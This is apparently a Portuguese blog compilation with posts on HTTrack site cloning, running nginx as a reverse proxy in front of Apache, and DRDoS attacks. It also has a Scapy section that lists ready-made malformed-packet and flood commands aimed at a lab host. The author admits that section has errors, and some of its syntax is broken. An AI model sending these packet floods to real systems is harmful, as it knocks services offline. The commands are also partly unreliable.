Usando httrack para pentest offline

                              HTTrack


           HTTrack é um utilitário de navegador offline livre. HTTrack permite que você baixe um site a partir da Internet para um diretório local, construir todos os diretórios, captura de HTML, imagens, e outros arquivos a partir do servidor e armazenar em seu computador. Você pode navegar na clonado
link do site-to-link, bem como testá-lo em busca de vulnerabilidades. HHTrack é extremamente ferramenta simples para trabalhar com sites básicos. Não vai replicar o conteúdo dinâmico, nem será que vai replicar site middleware, tais como bancos de dados. Por isso, pode não ser apropriada em todos os ambientes de testes de penetração.

            No momento da escrita, HTTack já não vem pré-instalado com Kali. Para instalar HTTack, abrir um Terminal janela e digitar apt-get install httrack. Uma vez a instalação estiver concluída, você pode iniciar HTTrack, abra um Terminal e digite  httrack.

            Você será solicitado a dar um nome de projeto, o caminho para instalar o site (o padrão é root / sites /) E URLs para copiar. HTTrack dá algumas opções para copiar o seu alvo (s), conforme mostrado na tela a seguir. Algumas perguntas opcionais adicionais está definindo wildcards e nível recursivo. Nós selecionamos a opção 2. Depois de responder a perguntas, selecione Yclonar o seu alvo (s).

HTTrack vai começar a clonar o seu alvo e todos os links associados. Pode demorar um pouco para concluído, dependendo do tamanho do seu alvo. A próxima imagem mostra HTTrack durante uma  clonagem.

        Navegue até a pasta que você especificou para salvar as metas clonados para iniciar o seu teste e faça os teste offline mesmo.

Trecho retirado do livro = "Web Penetration Testing with Kali Linux"

Continue

Usando nginx como proxy reverso e diminuindo o consumo do servidor

Instalando o nginx

O primeiro passo é instalar o nginx. Não há muito o que falar nessa parte. O Guia do PC utiliza Ubuntu Server, logo, o nginx pode ser instalado com apt-get install nginx (o mesmo para outros sistemas baseados em Debian). Consulte a documentação para a sua distribuição. Se você gosta de compilar seus próprios programas, acesse a página de download do nginx e baixe a última versão.

Configurando o nginx

Agora vem a melhor parte: configurar o servidor. A wiki do projeto fornece algumas dicas para você configurar o seu. É importante lembrar que o nginx é um servidor web completo, e a única razão para eu ter feito isso foi para evitar qualquer possível incompatibilidade com os sistemas já servidos pelo Apache (como os que utilizam mod_rewrite por meio de .htaccess).
O “truque” para que nossa técnica funcione é o seguinte: fazer o nginx utilizar a porta 80 (HTTP) e deixar o Apache rodando em outra porta. No caso do Guia do PC, eu deixei o Apache rodando na porta 1234, mas você pode escolher qualquer outra porta, como 13579 ou 6969. Primeiro, vamos mudar a porta do Apache. Isso pode ser feito editando o arquivo /etc/apache2/ports.conf (em alguns casos, a configuração está em httpd.conf ou apache2.conf) e alterando as diretivas NameVirtualHost e Listen, como na imagem abaixo.
Trocando a porta do Apache no /etc/apache2/ports.conf
Dependendo de como você configurou seu servidor, talvez seja necessário alterar o arquivo de configuração específico do seu site (como os VirtualHosts, localizados em /etc/apache2/sites-enabled) para que ele também escute na porta desejada.
Agora, vamos configurar o /etc/nginx/nginx.conf, que fará nossa belezinha funcionar. Minha configuração foi baseada no exemplo da wiki do nginx.

user                    www-data www-data;
worker_processes        4;
error_log               /var/log/nginx/error.log;
pid                     /var/run/nginx.pid;
worker_rlimit_nofile    8192;
 
events {
    worker_connections  4096;
}
 
http {
    include    mime.types;
    include    /etc/nginx/proxy.conf;
 
    default_type application/octet-stream;
    log_format   main '$remote_addr - $remote_user [$time_local]  $status '
      '"$request" $body_bytes_sent "$http_referer" '
      '"$http_user_agent" "$http_x_forwarded_for"';
    access_log   /srv/www/guiadopc.com.br/logs/nginx.log  main;
    sendfile     on;
    tcp_nopush   on;
    server_names_hash_bucket_size 128;
 
    server {
        listen       80;
        server_name  guiadopc.com.br www.guiadopc.com.br;
        access_log   /srv/www/guiadopc.com.br/logs/nginx.log  main;
 
        location ~ ^/(images|javascript|js|css|flash|media|static)/ {
            root    /srv/www/guiadopc.com.br/public_html;
            expires 30d;
        }
 
        location ~* ^.+.(jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$ {
            root    /srv/www/guiadopc.com.br/public_html;
            expires 30d;
        }
 
        location / {
        proxy_pass      http://127.0.0.1:1234;
        }
    }
}

Acredito que o arquivo é auto-explicativo. Vou só dar uma atenção maior aos parâmetros que você, necessariamente, precisa alterar. Nos dois access_log, você precisa especificar o local em que deseja guardar os logs de acesso do nginx. Em server_name, é uma boa ideia alterar o valor para o endereço do seu site. Em root, insira o caminho da pasta em que estão guardados todos os arquivos do site. Na diretiva proxy_pass, coloque o endereço no qual os requests dinâmicos (páginas em PHP, por exemplo) serão “redirecionados”. Isso será feito pelo próprio nginx, logo, você não precisa colocar um IP público aqui. Não se esqueça de utilizar a mesma porta que você configurou no Apache!(a não ser que você goste de ver erros 404 por toda parte )
Se você não tem um /etc/nginx/proxy.conf configurado, pode utilizar o arquivo abaixo (é o mesmo da wiki do nginx). Se você não criar esse arquivo, seu nginx não iniciará.

proxy_redirect          off;
proxy_set_header        Host            $host;
proxy_set_header        X-Real-IP       $remote_addr;
proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
client_max_body_size    10m;
client_body_buffer_size 128k;
proxy_connect_timeout   90;
proxy_send_timeout      90;
proxy_read_timeout      90;
proxy_buffers           32 4k;

Colocando o nginx e o Apache em ação!

Agora que você já configurou o Apache e o nginx, reinicie os dois servidores. Isto pode ser feito comservice apache2 restart && service nginx restart. Pronto, seu servidor já está funcionando!

Tá, e o que eu ganhei com isso?

Ao acessar seu site, com certeza você já notou uma melhora no desempenho, especialmente se ele estiver em um VPS com poucos recursos e roda aplicativos pesados em PHP, como o WordPress. O Apache consome megabytes de RAM preciosos para cada requisição do usuário. Ao utilizar o nginx para servir seu conteúdo estático (imagens, CSS, JavaScript), você liberou grande parte dessas requisições e deixou o Apache apenas com a parte pesada do serviço.
Outra vantagem muito importante: seu Apache estará menos congestionado. Quando um usuário visita seu site, o Apache abre uma conexão para que o usuário possa fazer o download do conteúdo. Essa conexão fica aberta até o término do download. Com o nginx como proxy reverso, acontecerá o seguinte: o nginx acessará os arquivos do Apache e, como o acesso é feito localmente (na mesma máquina ou em uma máquina da rede local), o download do conteúdo é praticamente instantâneo, liberando as conexões do Apache para outras requisições. O nginx foi feito para suportar muitas conexões, logo, você não terá problemas com isso.
Antes, com o Apache servindo todo o conteúdo, o consumo de memória do servidor do Guia do PC ficava por volta dos 900 MB, degradando significativamente a velocidade de carregamento do site e derrubando a máquina muitas vezes, por falta de recursos. Com o nginx servindo conteúdo estático…213 MB de RAM. Em horário de pico!
Isto é, um ganho de quase 80%! Isso porque, em alguns casos, o uso de memória cai para 160 MB. Sobra muito mais processamento e memória para quando você sair na página principal do Digg, não? O nginx também é muito, muito, mas muito mais rápido que o Apache. Não tem nem comparação. Faça testes com ferramentas como o ApacheBench e você saberá do que estou falando.


Uso de processador e HD (Fonte: http://blog.zhuzhaoyuan.com). A linha vermelha representa a separação entre Apache e nginx como proxy reverso.
Claro que não dá para fazer milagre. Esse baixo consumo de memória só foi obtido porque o servidor está rodando apenas com os serviços essenciais para que as coisas funcionem: Postfix, Apache, nginx, MySQL, SSH, firewall e nada mais (mesmo). O servidor de DNS é externo, o gerenciamento de arquivos é feito por SFTP ao invés de FTP (dispensando o uso de um servidor FTP e usando o próprio SSH para isso) e o Postfix apenas redireciona os e-mails para contas externas. Simples assim. Nada de painel de controle e outros serviços que deixam o servidor lerdo. Porém, se você não tem como deixar seu servidor bem enxuto, garanto que se beneficiará mesmo assim. Até a próxima!
Fonte:
Paulo Higa
Home-page: paulohiga.com/posts/nginx-proxy-reverso-php-apache.php

Continue

Proxy reverso

                      O que é um proxy reverso

     
       Um proxy reverso é um servidor de rede geralmente instalado para ficar na frente de um servidor Web. Todas as conexões originadas externamente são endereçadas para um dos servidores Web através de um roteamento feito pelo servidor proxy, que pode tratar ele mesmo a requisição ou, encaminhar a requisição toda ou parcialmente a um servidor Web que tratará a requisição.

       Um proxy reverso repassa o tráfego de rede recebido para um conjunto de servidores, tornando-o a única interface para as requisições externas. Por exemplo, um proxy reverso pode ser usado para balancear a carga de um cluster de servidores Web. O que é exatamente o oposto de um proxy convencional que age como um despachante para o tráfego de saída de uma rede, representando as requisições dos clientes internos para os servidores externos a rede a qual o servidor proxy atende.
As principais características de um servidor proxy reverso são:

Segurança

Criptografia

Balanceamento de carga 

Cache

 

 

 

 

 

Continue

Usando o scapy para ataque dos

                                       Scapy

        Uma das ferramentas mais populares é DoS scapy. Scapy é uma ferramenta de manipulação de pacotes para redes de computadores, escrito em Python por Philippe Biondi.

        Scapy pode forjar ou decodificar pacotes, enviá-los no fio, capturá-los, e as solicitações e as respostas de jogo. Além disso, ele pode lidar com tarefas como digitalização, tracerouting, sondagem, testes de unidade, ataques, e
a descoberta de rede.

         Um truque comum é manipular pacotes TCP do Kali e enviá-lo via scapy.
Para iniciar scapy, tipo scapy na janela do terminal. Uma vez scapy foi lançado,
digitar sintaxe de comando:

Nesta tela a seguir, vamos usar scapy para enviar TCP malformado
pacotes para o nosso servidor de teste. Neste caso de uso, o nosso servidor de teste é 10.0.0.1. Este pode ser um roteador ou um servidor web. Também, vamos especificar o número de pacotes que serão enviar para o nosso destino. Neste caso estamos enviando 2000 pacotes usando o comando:
send (IP (dst = "10.0.0.1", ttl = 0) / TCP (), iface = "eth0", count = 2000)

         Na linha de comando anterior, estamos enviando 2000 pacotes a partir de nossa eth0 interface em nosso servidor Kali para o endereço de destino 10.0.0.1. Além disso, estamos enviando o alvo de um tempo para viver valor de 0. Isso é muito bonito impossível de um TCP ponto de vista.

       Essencialmente, estamos tentando confundir o servidor web com um mau TTL valor. Atacantes na vida real mandar milhões desses pacotes. Deve notar-se que um sistema sob as circunstâncias corretas pode falhar ou se tornar corruptos de uma única má ou pacote malformado. Podemos ajustar a contagem ou outros parâmetros que podem precisar de para o nosso ataque:
Aqui estão alguns outros cenários de ataque populares usados por scapy:

Bad IP versão
send (IP (dst = "10.0.0.1", src = "10.20.30.40", versão = 0) /
TCP (dport = "www"), iface = "eth0", count = 2000)

Bad TCP checksum
send (IP (dst = "10.0.0.1") / TCP (chksum = 0x5555), iface = "eth0", count = 2000)

Bad TCP Flags (tudo esclarecido e SEQ # == 0)
send (IP (dst = "10.0.0.1") / TCP (flags = "", seq = 555), iface = "eth0",
count = 2000)

Bandeiras Bad TCP (All Flags Set)
send (IP (dst = "10.0.0.1") / TCP (flags = 0x0ff), iface = "eth0", count = 2000)

FIN único conjunto
send (IP (dst = "10.0.0.1") / TCP (flags = "F"), iface = "eth0", count = 2000)

Length> L2 Comprimento
send (IP (dst = "10.0.0.1", src = "10.20.30.40", o DIH = 15L) / TCP (dport = "www"), iface = "eth0", count = 2000)

Comprimento Header Too Short
send (IP (dst = "10.0.0.1", src = "10.20.30.40", o DIH = 2L) / TCP (dport = "www"), iface = "eth0", count = 2000)

ICMP Flood
send (IP (dst = "10.0.0.1") / ICMP (), iface = "eth0", count = 2000)

IP erro de checksum
send (IP (dst = "10.0.0.1", src = "10.20.30.40", chksum = 0x5500) / TCP (dport = "www"), iface = "eth0", count = 2000)

IP Fragment
send (IP (dst = "10.0.0.1", src = "10.20.30.40", frag = 1) / TCP (dport = "www"),iface = "eth0", count = 2000)

IP Comprimento> L2 Comprimento
send (IP (dst = "10.0.0.1", src = "10.20.30.40", o DIH = 5L, len = 80) /
TCP (dport = "www"), iface = "eth0", count = 2000)

Fonte endereço IP == Destination Address
send (IP (dst = "10.0.0.1", src = "10.0.0.1") / TCP (dport = "www"),
iface = "eth0", count = 2000)

L2 Comprimento >> IP Comprimento
send (IP (dst = "10.0.0.1", len = 32) / Raw (load = "bla-bla-bla-bla-bla-bla-
bla-bla "), iface =" eth0 ", count = 2000)

No L4
send (IP (dst = "10.0.0.1", src = "10.20.30.40"), iface = "eth0," count = 2000)

SYN && FIN Set
enviar (IP (dst = "10.0.0.1") / TCP (flags = "FS"), iface = "eth0", count = 2000)

Pedaço retirado do livro kali linux tem muitas coisas erradas assim que quiser conserto

Continue

Entendendo o DRDoS

"Neste ano o mundo inteiro foi surpreso por uma grande massa de um ataque DoS que quase parou a internet. Trata-se de um novo tipo de negação de serviço, que utiliza ataques Spoofing e DoS simultaneamente.
O ataque é poderoso, causando grande estrago em massa em servidores espalhados na internet. No exemplo foram utilizados mais de 30 máquinas simultâneas para gerar mais quase 300 Gbps de tráfego, mais do que todo o tráfego de todo o Maranhão e alguns estados do Brasil em sua totalidade.

O que é DoS?
Uma máquina com ligação muito alta envia um grande número de pacotes para a máquina alvo, que não consegue interpretar a grande quantidade de pacotes recebidos, causando a recusa de serviço, derrubando, assim, a máquina alvo.

O que é DDoS?
Outro tipo de negação de serviço que vem se difundindo na Internet, de uns tempos para cá, é o DDoS (Distributed Denial of Service). Este tipo de ataque é baseado no DoS, Só que com um impacto maior, pois usa má-quinas zumbis para efectuar o ataque de negação de serviço, uma máquina comandará uma grande quantidade de máquinas zumbis que enviarão um grande número de pacotes para a máquina alvo. Assim, o hacker que comanda as máquinas zumbis deverá ter controlo total sobre elas.

E o novo ataque DRDoS? Como funciona?

DRDoS em ação
A nova geração de ataques DDoS concentra-se no spoof da máquina alvo e no envio de pacotes para a máquina zumbi, mas com um porém: a máquina zumbi não necessita de estar sob a posse de quem está a fazer o ataque.

Simplificando o ataque, pensem da seguinte maneira: quando uma máquina envia um pacote para outra, ela espera uma resposta da máquina que recebeu o pacote para ter certeza de que o pacote chegou à máquina requisitada, sendo que se a máquina que recebeu o pacote não responder, aquela que enviou reenviará outro pacote. No caso, o utilizador que atacará a máquina alvo usará uma técnica denominada spoof, que consiste em usar o endereço de outra máquina para que a requisição seja feita.

Em termos técnicos… Funciona assim:

A máquina A envia um pacote (SYN) “spoofado” para a máquina B, com o endereço da máquina C. A máquina B responde o pacote (SYN/ACK) para a máquina C, avisando que o recebeu. A máquina C ignora o pacote, pois não foi ela que requisitou e enviou. A máquina B aguarda a resposta da máquina C. A máquina B reenvia o pacote, pois não obteve resposta de recebimento pela máquina C. Isso ocorre sucessivamente, já que a máquina C nunca responderá ao pacote, pois não foi ela que requisitou.

Este tipo de ataque torna-se mais perigoso, pois a partir do momento em que o hacker efetua o ataque, ele não precisa ter total controlo da máquina zumbi o único trabalho que ele terá será spoofar o endereço da máquina alvo. Tendo um rastreamento praticamente impossível e um ataque devastador, o hacker poderá usar quantos servidores e fazer o número de ataques que quiser, que, com certeza, será sempre bem sucedido.

E como podemos solucionar isso ???
Não existem soluções definitivas ainda… Mas a solução é bloquear pacotes do tipo SYN/ACK nas portas 1 até 1023, bloqueando, assim, os pacotes do tipo refletido. Opção arriscada, pois bloqueando algumas portas, os visitantes do site poderão ter problemas para acessá-lo. Isso é tudo que o hacker quer: que seu sistema fique inviável.

Prevenção:
O melhor remédio é a prevenção. No caso, para evitar que vossa máquina seja usada como zumbi, a opção mais viável é ter um firewall bem configurado, tanto para proteger o site contra um ataque quanto para não servir de zumbi.

Assim, a firewall deve ser configurada pelo administrador, bloqueando endereços que enviam muitas requisições ao servidor. Usar scripts para implementar a seu firewall é uma boa opção.

Fonte: http://www.inforedes.eti.br/

Continue